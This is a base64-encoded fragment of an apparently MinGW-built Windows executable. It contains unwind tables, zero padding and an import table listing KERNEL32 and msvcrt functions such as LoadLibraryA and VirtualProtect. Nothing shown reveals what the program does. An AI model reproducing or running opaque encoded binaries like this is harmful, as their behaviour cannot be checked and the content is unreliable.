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ADyFAQBKhQEAVIUBAGCFAQBqhQEAdIUBAH6FAQCGhQEAkoUBAJyFAQCkhQEAroUBALqFAQDEhQEAzoUBANiFAQDihQEA7IUBAPiFAQAAhgEACoYBABSGAQAehgEAAAAAAHyCAQCUggEArIIBALqCAQDKggEA3oIBAPKCAQAEgwEAFoMBACiDAQA0gwEAQIMBAFyDAQBwgwEAiIMBAJiDAQCugwEAzIMBANSDAQDigwEA9IMBAASEAQAAAAAAGoQBACqEAQA2hAEARoQBAFSEAQBkhAEAcoQBAISEAQCYhAEApoQBALCEAQC6hAEAxoQBAM6EAQDWhAEA4IQBAOqEAQD2hAEA/oQBAAaFAQAQhQEAGIUBACKFAQAqhQEAMoUBADyFAQBKhQEAVIUBAGCFAQBqhQEAdIUBAH6FAQCGhQEAkoUBAJyFAQCkhQEAroUBALqFAQDEhQEAzoUBANiFAQDihQEA7IUBAPiFAQAAhgEACoYBABSGAQAehgEAAAAAABUBRGVsZXRlQ3JpdGljYWxTZWN0aW9uADYBRW50ZXJDcml0aWNhbFNlY3Rpb24AALEBRnJlZUxpYnJhcnkAaQJHZXRMYXN0RXJyb3IAAH0CR2V0TW9kdWxlSGFuZGxlQQAAgAJHZXRNb2R1bGVIYW5kbGVXAAC2AkdldFByb2NBZGRyZXNzAAC8AkdldFByb2Nlc3NIZWFwAADZAkdldFN0YXJ0dXBJbmZvQQBQA0hlYXBBbGxvYwBWA0hlYXBGcmVlAABtA0luaXRpYWxpemVDcml0aWNhbFNlY3Rpb24AjQNJc0RCQ1NMZWFkQnl0ZUV4AADNA0xlYXZlQ3JpdGljYWxTZWN0aW9uAADRA0xvYWRMaWJyYXJ5QQAAAARNdWx0aUJ5dGVUb1dpZGVDaGFyAFoFU2V0VW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAGoFU2xlZXAAjQVUbHNHZXRWYWx1ZQC9BVZpcnR1YWxQcm90ZWN0AADABVZpcnR1YWxRdWVyeQAA8gVXaWRlQ2hhclRvTXVsdGlCeXRlADoAX19nZXRtYWluYXJncwA7AF9faW5pdGVudgBFAF9fbWJfY3VyX21heAAATABfX3BfX2FjbWRsbgBOAF9fcF9fY29tbW9kZQAAUwBfX3BfX2Ztb2RlAABoAF9fc2V0X2FwcF90eXBlAABrAF9fc2V0dXNlcm1hdGhlcnIAAI4AX2Ftc2dfZXhpdAAAnwBfY2V4aXQAAEIBX2Vycm5vAABSAV9pbml0dGVybQBWAV9pb2IAALkBX2xvY2sAOgJfb25leGl0AOECX3VubG9jawAfA193Y3NpY21wAACaA2Fib3J0AKMDYXRvaQAApwNjYWxsb2MAALEDZXhpdAAAwgNmcHJpbnRmAMQDZnB1dGMAyQNmcmVlAADWA2Z3cml0ZQAA/wNsb2NhbGVjb252AAADBG1hbGxvYwAABgRtYnN0b3djcwAACgRtZW1jbXAAAAsEbWVtY3B5AAANBG1lbXNldAAAHQRyYW5kAAAmBHNldGxvY2FsZQAoBHNpZ25hbAAALgRzcmFuZAA0BHN0cmNocgAAOgRzdHJlcnJvcgAAPARzdHJsZW4AAD8Ec3RybmNtcABABHN0cm5jcHkAQwRzdHJyY2hyAEQEc3Ryc3BuAABhBHZmcHJpbnRmAADLAnRpbWUAAHsEd2NzbGVuAAB8BHdjc25jYXQAfwR3Y3NuY3B5AIYEd2Nzc3RyAAAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAS0VSTkVMMzIuZGxsAAAAABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABAG1zdmNydC5kbGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACARQAAAAAAAAAAAABAQQAAAAAAAAAAAAEB/QADwfkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAADMAAAAGDAgMCowNDBAME